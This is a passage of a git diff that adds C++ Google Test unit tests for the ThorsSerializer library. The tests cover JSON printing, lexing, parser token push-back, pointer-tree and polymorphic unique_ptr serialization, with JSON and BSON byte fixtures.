ArrayValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + + printer.openDoc(); + printer.openArray(-1); + printer.addValue(true); + printer.addValue(false); + printer.addValue(static_cast(55)); + printer.addValue(56); + printer.addValue(78.89); + printer.addValue(57l); + printer.addValue(58ll); + printer.addValue(std::string("Astring")); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"([true,false,55,56,78.89,57,58,"Astring"])", result); +} +TEST(JsonPrinterTest, MapValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + + printer.openDoc(); + printer.openMap(-1); + printer.addKey("K1"); + printer.addValue(true); + printer.addKey("K2"); + printer.addValue(false); + printer.addKey("K3"); + printer.addValue(56); + printer.addKey("K4"); + printer.addValue(78.89); + printer.addKey("K6"); + printer.addValue(std::string("Astring")); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"({"K1":true,"K2":false,"K3":56,"K4":78.89,"K6":"Astring"})", result); +} +TEST(JsonPrinterTest, MapWithMapValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + + printer.openDoc(); + printer.openMap(-1); + printer.addKey("K1"); + printer.openMap(-1); + printer.addKey("K1"); + printer.addValue(true); + printer.addKey("K2"); + printer.addValue(false); + printer.closeMap(); + printer.addKey("K3"); + printer.addValue(56); + printer.addKey("K4"); + printer.openMap(-1); + printer.addKey("K4"); + printer.addValue(78.89); + printer.closeMap(); + printer.addKey("K6"); + printer.addValue(std::string("Astring")); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"({"K1":{"K1":true,"K2":false},"K3":56,"K4":{"K4":78.89},"K6":"Astring"})", result); +} +TEST(JsonPrinterTest, MapWithArrayValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + + printer.openDoc(); + printer.openMap(-1); + printer.addKey("K1"); + printer.openArray(-1); + printer.addValue(true); + printer.addValue(false); + printer.addValue(static_cast(55)); + printer.addValue(56u); + printer.addValue(57ul); + printer.addValue(58ull); + printer.addValue(60.f); + printer.addValue(61.0L); + printer.closeArray(); + printer.addKey("K3"); + printer.addValue(56); + printer.addKey("K4"); + printer.openArray(-1); + printer.addValue(78.89); + printer.closeArray(); + printer.addKey("K6"); + printer.addValue(std::string("Astring")); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"({"K1":[true,false,55,56,57,58,60,61],"K3":56,"K4":[78.89],"K6":"Astring"})", result); +} +TEST(JsonPrinterTest, ArrayWithMapValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + + printer.openDoc(); + printer.openArray(-1); + printer.openMap(-1); + printer.addKey("K1"); + printer.addValue(true); + printer.addKey("K2"); + printer.addValue(false); + printer.closeMap(); + printer.addValue(56); + printer.openMap(-1); + printer.addKey("K4"); + printer.addValue(78.89); + printer.closeMap(); + printer.addValue(std::string("Astring")); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"([{"K1":true,"K2":false},56,{"K4":78.89},"Astring"])", result); +} +TEST(JsonPrinterTest, ArrayWithArrayValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + + printer.openDoc(); + printer.openArray(-1); + printer.openArray(-1); + printer.addValue(true); + printer.addValue(false); + printer.closeArray(); + printer.addValue(56); + printer.openArray(-1); + printer.addValue(78.89); + printer.closeArray(); + printer.addValue(std::string("Astring")); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"([[true,false],56,[78.89],"Astring"])", result); +} +TEST(JsonPrinterTest, CheckStreeamIsCompressed) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(-1); + printer.openMap(-1); + printer.addKey("K1"); + printer.addValue(true); + printer.addKey("K2"); + printer.addValue(false); + printer.closeMap(); + printer.addValue(56); + printer.openMap(-1); + printer.addKey("K4"); + printer.addValue(78.89); + printer.closeMap(); + printer.addValue(std::string("Astring")); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + int space = std::count_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}); + EXPECT_EQ(0, space); +} +TEST(JsonPrinterTest, CloseMapWithArray) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openMap(-1); + ASSERT_ANY_THROW( + printer.closeArray(); + ); +} +TEST(JsonPrinterTest, CloseArrayWithMap) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(-1); + ASSERT_ANY_THROW( + printer.closeMap(); + ); +} +TEST(JsonPrinterTest, PuttingKeyInArray) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(-1); + ASSERT_ANY_THROW( + printer.addKey("This old house"); + ); +} +TEST(JsonPrinterTest, AddRawValueTest) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openMap(-1); + printer.addKey("K1"); + printer.addRawValue("12"); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(result, R"({"K1":12})"); +} +TEST(JsonPrinterTest, DoubleZeroNeedsDot) +{ + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(-1); + printer.addValue(0.0); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + auto find = result.find('.'); + EXPECT_NE(std::string::npos, find); +} + diff --git a/Extern/include/ThorsSerializer/test/LexerTest.cpp b/Extern/include/ThorsSerializer/test/LexerTest.cpp new file mode 100644 index 0000000..b9ab9c4 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/LexerTest.cpp @@ -0,0 +1,45 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonManualLexer.h" +#include "JsonLexemes.h" + +using ThorsAnvil::Serialize::JsonManualLexer; + +TEST(LexerTest, JsonArrayTokens) +{ + std::stringstream stream("[],"); + JsonManualLexer lexer(stream); + + EXPECT_EQ('[', lexer.yylex()); + EXPECT_EQ(']', lexer.yylex()); + EXPECT_EQ(',', lexer.yylex()); +} +TEST(LexerTest, JsonMapTokens) +{ + std::stringstream stream("{}:,"); + JsonManualLexer lexer(stream); + + EXPECT_EQ('{', lexer.yylex()); + EXPECT_EQ('}', lexer.yylex()); + EXPECT_EQ(':', lexer.yylex()); + EXPECT_EQ(',', lexer.yylex()); +} +TEST(LexerTest, JsonValueTokens) +{ + std::stringstream stream(R"("Test" 456 789.123 true false null)"); + JsonManualLexer lexer(stream); + + EXPECT_EQ(ThorsAnvil::Serialize::JSON_STRING, lexer.yylex()); + lexer.getRawString(); + EXPECT_EQ(ThorsAnvil::Serialize::JSON_NUMBER, lexer.yylex()); + lexer.getRawString(); + EXPECT_EQ(ThorsAnvil::Serialize::JSON_NUMBER, lexer.yylex()); + lexer.getRawString(); + EXPECT_EQ(ThorsAnvil::Serialize::JSON_TRUE, lexer.yylex()); + lexer.getRawString(); + EXPECT_EQ(ThorsAnvil::Serialize::JSON_FALSE, lexer.yylex()); + lexer.getRawString(); + EXPECT_EQ(ThorsAnvil::Serialize::JSON_NULL, lexer.yylex()); + lexer.getRawString(); +} + diff --git a/Extern/include/ThorsSerializer/test/Logging.cpp b/Extern/include/ThorsSerializer/test/Logging.cpp new file mode 100644 index 0000000..da60342 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/Logging.cpp @@ -0,0 +1,72 @@ +#include "gtest/gtest.h" +#include "ThorsLogging/ThorsLogging.h" +#include +#include + + + +class LoggingEnvironment: public ::testing::Environment +{ + public: + ~LoggingEnvironment() override {} + + // Override this to define how to set up the environment. + void SetUp() override + { + using namespace std::string_literals; + + char* logging = getenv("THOR_LOG_LEVEL"); + if (logging == nullptr) + { + std::cerr << "NO - THOR_LOG_LEVEL\n"; + } + else + { + std::cerr << "Logging Level BEFORE: " << loguru::g_stderr_verbosity << "\n"; + std::cerr << "THOR_LOG_LEVEL = " << logging << "\n"; + int level = std::strtol(logging, nullptr, 10); + if (level > 0 && level <10) + { + loguru::g_stderr_verbosity = level; + } + else if ("FATAL"s == logging) + { + loguru::g_stderr_verbosity = loguru::Verbosity_FATAL; + } + else if ("ERROR"s == logging) + { + loguru::g_stderr_verbosity = loguru::Verbosity_ERROR; + } + else if ("WARNING"s == logging) + { + loguru::g_stderr_verbosity = loguru::Verbosity_WARNING; + } + else if ("INFO"s == logging) + { + loguru::g_stderr_verbosity = loguru::Verbosity_INFO; + } + else if ("DEBUG"s == logging) + { + loguru::g_stderr_verbosity = 5; + } + else if ("ALL"s == logging) + { + loguru::g_stderr_verbosity = 9; + } + std::cerr << "Logging Level AFTER: " << loguru::g_stderr_verbosity << "\n"; + } + } + + // Override this to define how to tear down the environment. + void TearDown() override {} +}; + +bool initLogging() +{ + std::cerr << "Logging Init\n"; + ::testing::Environment* const foo_env = ::testing::AddGlobalTestEnvironment(new LoggingEnvironment); + return true; +} + +bool logingInit = initLogging(); + diff --git a/Extern/include/ThorsSerializer/test/ParserInterfaceTest.cpp b/Extern/include/ThorsSerializer/test/ParserInterfaceTest.cpp new file mode 100644 index 0000000..2dfed3e --- /dev/null +++ b/Extern/include/ThorsSerializer/test/ParserInterfaceTest.cpp @@ -0,0 +1,217 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonParser.h" +#include "BsonParser.h" + +namespace TA=ThorsAnvil::Serialize; +using TA::JsonParser; +using TA::BsonParser; +using TA::ParserInterface; + +TEST(ParserInterfaceTest, JsonNormalNoPushBack) +{ + std::stringstream stream("[10,11,12]"); + JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} + +TEST(ParserInterfaceTest, JsonPushBackValue) +{ + std::stringstream stream("[10,11,12]"); + JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + parser.pushBackToken(ParserInterface::ParserToken::Value); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} + +TEST(ParserInterfaceTest, JsonPushBackTwoValue) +{ + std::stringstream stream("[10,11,12]"); + JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + parser.pushBackToken(ParserInterface::ParserToken::Value); + ASSERT_ANY_THROW( + parser.pushBackToken(ParserInterface::ParserToken::Value) + ); +} + +TEST(ParserInterfaceTest, JsonPushBackTwoValueWithReads) +{ + std::stringstream stream("[10,11,12]"); + JsonParser parser(stream); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + parser.pushBackToken(ParserInterface::ParserToken::Value); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + + parser.pushBackToken(ParserInterface::ParserToken::Value); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} + +TEST(ParserInterfaceTest, BsonNormalNoPushBack) +{ + //std::stringstream stream("[10,11,12]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x0A\x00\x00\x00" + "\x10" "1\x00" "\x0B\x00\x00\x00" + "\x10" "2\x00" "\x0C\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} + +TEST(ParserInterfaceTest, BsonPushBackValue) +{ + //std::stringstream stream("[10,11,12]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x0A\x00\x00\x00" + "\x10" "1\x00" "\x0B\x00\x00\x00" + "\x10" "2\x00" "\x0C\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + parser.pushBackToken(ParserInterface::ParserToken::Value); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} + +TEST(ParserInterfaceTest, BsonPushBackTwoValue) +{ + //std::stringstream stream("[10,11,12]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x0A\x00\x00\x00" + "\x10" "1\x00" "\x0B\x00\x00\x00" + "\x10" "2\x00" "\x0C\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + parser.pushBackToken(ParserInterface::ParserToken::Value); + ASSERT_ANY_THROW( + parser.pushBackToken(ParserInterface::ParserToken::Value) + ); +} + +TEST(ParserInterfaceTest, BsonPushBackTwoValueWithReads) +{ + //std::stringstream stream("[10,11,12]"); + using ParserConfig = ParserInterface::ParserConfig; + static const char inputRaw[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x0A\x00\x00\x00" + "\x10" "1\x00" "\x0B\x00\x00\x00" + "\x10" "2\x00" "\x0C\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Array); + BsonParser parser(stream, config); + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + parser.pushBackToken(ParserInterface::ParserToken::Value); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + parser.ignoreDataValue(); + + parser.pushBackToken(ParserInterface::ParserToken::Value); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + EXPECT_EQ(ParserInterface::ParserToken::ArrayEnd, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::DocEnd, parser.getToken()); +} + + diff --git a/Extern/include/ThorsSerializer/test/PointerTest.cpp b/Extern/include/ThorsSerializer/test/PointerTest.cpp new file mode 100644 index 0000000..4cd2532 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/PointerTest.cpp @@ -0,0 +1,199 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/SerializeTest.h" +#include "Serialize.h" +#include "Serialize.tpp" +#include "Traits.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include +#include + +namespace PointerTest +{ +struct Tree +{ + int value; + Tree* left = nullptr; + Tree* right = nullptr; +}; +} +ThorsAnvil_MakeTrait(PointerTest::Tree, value, left, right); + +TEST(PointerTest, JsonBuildStringFromTree) +{ + PointerTest::Tree* root = new PointerTest::Tree{34, new PointerTest::Tree{22, new PointerTest::Tree{10, nullptr, nullptr}, nullptr}, new PointerTest::Tree{50, nullptr, new PointerTest::Tree{70, nullptr, nullptr}}}; + std::stringstream data; + data << ThorsAnvil::Serialize::jsonExporter(root, false); + std::string result = data.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){ return std::isspace(x);}), std::end(result)); + EXPECT_EQ(result, R"({"value":34,"left":{"value":22,"left":{"value":10,"left":null,"right":null},"right":null},"right":{"value":50,"left":null,"right":{"value":70,"left":null,"right":null}}})"); +} +TEST(PointerTest, JsonBuildTreeFromString) +{ + std::string json(R"( +{ + "value": 34, + "left": + { + "value": 22, + "left": + { + "value": 10, + "left": null, + "right": null + }, + "right": null + }, + "right": + { + "value": 50, + "left": null, + "right": + { + "value": 70, + "left": null, + "right": null + } + } +})"); + std::stringstream jsonStream(json); + PointerTest::Tree* root = nullptr; + + jsonStream >> ThorsAnvil::Serialize::jsonImporter(root, false); + ASSERT_NE(root, nullptr); + EXPECT_EQ(root->value, 34); + ASSERT_NE(root->left, nullptr); + EXPECT_EQ(root->left->value, 22); + ASSERT_NE(root->left->left, nullptr); + EXPECT_EQ(root->left->left->value, 10); + EXPECT_EQ(root->left->left->left, nullptr); + EXPECT_EQ(root->left->left->right, nullptr); + ASSERT_EQ(root->left->right, nullptr); + ASSERT_NE(root->right, nullptr); + EXPECT_EQ(root->right->value, 50); + EXPECT_EQ(root->right->left, nullptr); + ASSERT_NE(root->right->right, nullptr); + EXPECT_EQ(root->right->right->value, 70); + EXPECT_EQ(root->right->right->left, nullptr); + EXPECT_EQ(root->right->right->right, nullptr); +} + +TEST(PointerTest, BsonBuildStringFromTree) +{ + PointerTest::Tree* root = new PointerTest::Tree{34, new PointerTest::Tree{22, new PointerTest::Tree{10, nullptr, nullptr}, nullptr}, new PointerTest::Tree{50, nullptr, new PointerTest::Tree{70, nullptr, nullptr}}}; + std::stringstream data(std::ios_base::out | std::ios_base::binary); + data << ThorsAnvil::Serialize::bsonExporter(root, false); + std::string result = data.str(); + + + static const char expectedRaw[] + = "\x91\x00\x00\x00" + "\x10" "value\x00" "\x22\x00\x00\x00" + "\x03" "left\x00" + "\x3A\x00\x00\x00" + "\x10" "value\x00" "\x16\x00\x00\x00" + "\x03" "left\x00" + "\x1D\x00\x00\x00" + "\x10" "value\x00" "\x0A\x00\x00\x00" + "\x0A" "left\x00" + "\x0A" "right\x00" + "\x00" + "\x0A" "right\x00" + "\x00" + "\x03" "right\x00" + "\x3A\x00\x00\x00" + "\x10" "value\x00" "\x32\x00\x00\x00" + "\x0A" "left\x00" + "\x03" "right\x00" + "\x1D\x00\x00\x00" + "\x10" "value\x00" "\x46\x00\x00\x00" + "\x0A" "left\x00" + "\x0A" "right\x00" + "\x00" + "\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + // R"({"value":34,"left":{"value":22,"left":{"value":10,"left":null,"right":null},"right":null},"right":{"value":50,"left":null,"right":{"value":70,"left":null,"right":null}}})"); +} +TEST(PointerTest, BsonBuildTreeFromString) +{ +#if 0 + std::string bson(R"( +{ + "value": 34, + "left": + { + "value": 22, + "left": + { + "value": 10, + "left": null, + "right": null + }, + "right": null + }, + "right": + { + "value": 50, + "left": null, + "right": + { + "value": 70, + "left": null, + "right": null + } + } +})"); +#endif + static const char bsonRaw[] + = "\x91\x00\x00\x00" + "\x10" "value\x00" "\x22\x00\x00\x00" + "\x03" "left\x00" + "\x3A\x00\x00\x00" + "\x10" "value\x00" "\x16\x00\x00\x00" + "\x03" "left\x00" + "\x1D\x00\x00\x00" + "\x10" "value\x00" "\x0A\x00\x00\x00" + "\x0A" "left\x00" + "\x0A" "right\x00" + "\x00" + "\x0A" "right\x00" + "\x00" + "\x03" "right\x00" + "\x3A\x00\x00\x00" + "\x10" "value\x00" "\x32\x00\x00\x00" + "\x0A" "left\x00" + "\x03" "right\x00" + "\x1D\x00\x00\x00" + "\x10" "value\x00" "\x46\x00\x00\x00" + "\x0A" "left\x00" + "\x0A" "right\x00" + "\x00" + "\x00" + "\x00"; + + std::string bson(std::begin(bsonRaw), std::end(bsonRaw) - 1); + std::stringstream bsonStream(bson); + PointerTest::Tree* root = nullptr; + + bsonStream >> ThorsAnvil::Serialize::bsonImporter(root, false); + ASSERT_NE(root, nullptr); + EXPECT_EQ(root->value, 34); + ASSERT_NE(root->left, nullptr); + EXPECT_EQ(root->left->value, 22); + ASSERT_NE(root->left->left, nullptr); + EXPECT_EQ(root->left->left->value, 10); + EXPECT_EQ(root->left->left->left, nullptr); + EXPECT_EQ(root->left->left->right, nullptr); + ASSERT_EQ(root->left->right, nullptr); + ASSERT_NE(root->right, nullptr); + EXPECT_EQ(root->right->value, 50); + EXPECT_EQ(root->right->left, nullptr); + ASSERT_NE(root->right->right, nullptr); + EXPECT_EQ(root->right->right->value, 70); + EXPECT_EQ(root->right->right->left, nullptr); + EXPECT_EQ(root->right->right->right, nullptr); +} + diff --git a/Extern/include/ThorsSerializer/test/PolyMorphicSerializerUniquePointerTest.cpp b/Extern/include/ThorsSerializer/test/PolyMorphicSerializerUniquePointerTest.cpp new file mode 100644 index 0000000..06b91b9 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/PolyMorphicSerializerUniquePointerTest.cpp @@ -0,0 +1,276 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "Serialize.h" +#include "Serialize.tpp" +#include "Traits.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace PolyMorphicSerializerUniquePointerTest +{ +struct Quantities +{ + std::vector* quantities; + + ~Quantities() + { + delete quantities; + } +}; + +struct AbstractTourResult +{ + std::unique_ptr maxQuantities { nullptr }; + virtual ~AbstractTourResult() = default; + ThorsAnvil_PolyMorphicSerializer(AbstractTourResult); +}; + +struct TourResult : public AbstractTourResult +{ + ~TourResult() override = default; + ThorsAnvil_PolyMorphicSerializer(TourResult); +}; + +struct Tour +{ + std::unique_ptr result { nullptr }; +}; +} + +ThorsAnvil_MakeTrait(PolyMorphicSerializerUniquePointerTest::Quantities, quantities); +ThorsAnvil_MakeTrait(PolyMorphicSerializerUniquePointerTest::AbstractTourResult, maxQuantities); +ThorsAnvil_ExpandTrait(PolyMorphicSerializerUniquePointerTest::AbstractTourResult, PolyMorphicSerializerUniquePointerTest::TourResult); +ThorsAnvil_MakeTrait(PolyMorphicSerializerUniquePointerTest::Tour, result); + +TEST(PolyMorphicSerializerUniquePointerTest, JsonQuantitiesEmpty) +{ + PolyMorphicSerializerUniquePointerTest::Quantities t{}; + std::string str = R"({})";; + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::jsonImporter(t, false); + EXPECT_EQ(nullptr, t.quantities); +} +TEST(PolyMorphicSerializerUniquePointerTest, JsonQuantities) +{ + PolyMorphicSerializerUniquePointerTest::Quantities t{}; + std::string str = R"({"quantities":[15,23]})";; + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::jsonImporter(t, false); + EXPECT_NE(nullptr, t.quantities); + EXPECT_EQ(15, (*t.quantities)[0]); + EXPECT_EQ(23, (*t.quantities)[1]); +} +TEST(PolyMorphicSerializerUniquePointerTest, JsonAbstractTourResultEmpty) +{ + PolyMorphicSerializerUniquePointerTest::AbstractTourResult t{}; + std::string str = R"({})";; + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::jsonImporter(t, false); + EXPECT_EQ(nullptr, t.maxQuantities); +} +TEST(PolyMorphicSerializerUniquePointerTest, JsonAbstractTourResult) +{ + PolyMorphicSerializerUniquePointerTest::AbstractTourResult t{}; + std::string str = R"({"maxQuantities":{}})";; + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::jsonImporter(t, false); + EXPECT_NE(nullptr, t.maxQuantities); + EXPECT_EQ(nullptr, t.maxQuantities->quantities); +} +TEST(PolyMorphicSerializerUniquePointerTest, JsonAbstractTourResultWithQuantities) +{ + PolyMorphicSerializerUniquePointerTest::AbstractTourResult t{}; + std::string str = R"({"maxQuantities":{"quantities":[34,56]}})";; + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::jsonImporter(t, false); + EXPECT_NE(nullptr, t.maxQuantities); + EXPECT_NE(nullptr, t.maxQuantities->quantities); + EXPECT_EQ(34, (*t.maxQuantities->quantities)[0]); + EXPECT_EQ(56, (*t.maxQuantities->quantities)[1]); +} +TEST(PolyMorphicSerializerUniquePointerTest, JsonTourResultEmpty) +{ + PolyMorphicSerializerUniquePointerTest::TourResult t{}; + std::string str = R"({})";; + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::jsonImporter(t, false); + EXPECT_EQ(nullptr, t.maxQuantities); +} +TEST(PolyMorphicSerializerUniquePointerTest, JsonTourResult) +{ + PolyMorphicSerializerUniquePointerTest::TourResult t{}; + std::string str = R"({"maxQuantities":{}})";; + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::jsonImporter(t, false); + EXPECT_NE(nullptr, t.maxQuantities); + EXPECT_EQ(nullptr, t.maxQuantities->quantities); +} +TEST(PolyMorphicSerializerUniquePointerTest, JsonTourResultWithQuantities) +{ + PolyMorphicSerializerUniquePointerTest::TourResult t{}; + std::string str = R"({"maxQuantities":{"quantities":[34,56]}})";; + std::istringstream stream(str); + stream >> ThorsAnvil::Serialize::jsonImporter(t, false); + EXPECT_NE(nullptr, t.maxQuantities); + EXPECT_NE(nullptr, t.maxQuantities->quantities); + EXPECT_EQ(34, (*t.maxQuantities->quantities)[0]); + EXPECT_EQ(56, (*t.maxQuantities->quantities)[1]); +} +TEST(PolyMorphicSerializerUniquePointerTest, JsonTourEmpty) +{ + PolyMorphicSerializerUniquePointerTest::Tour t{}; 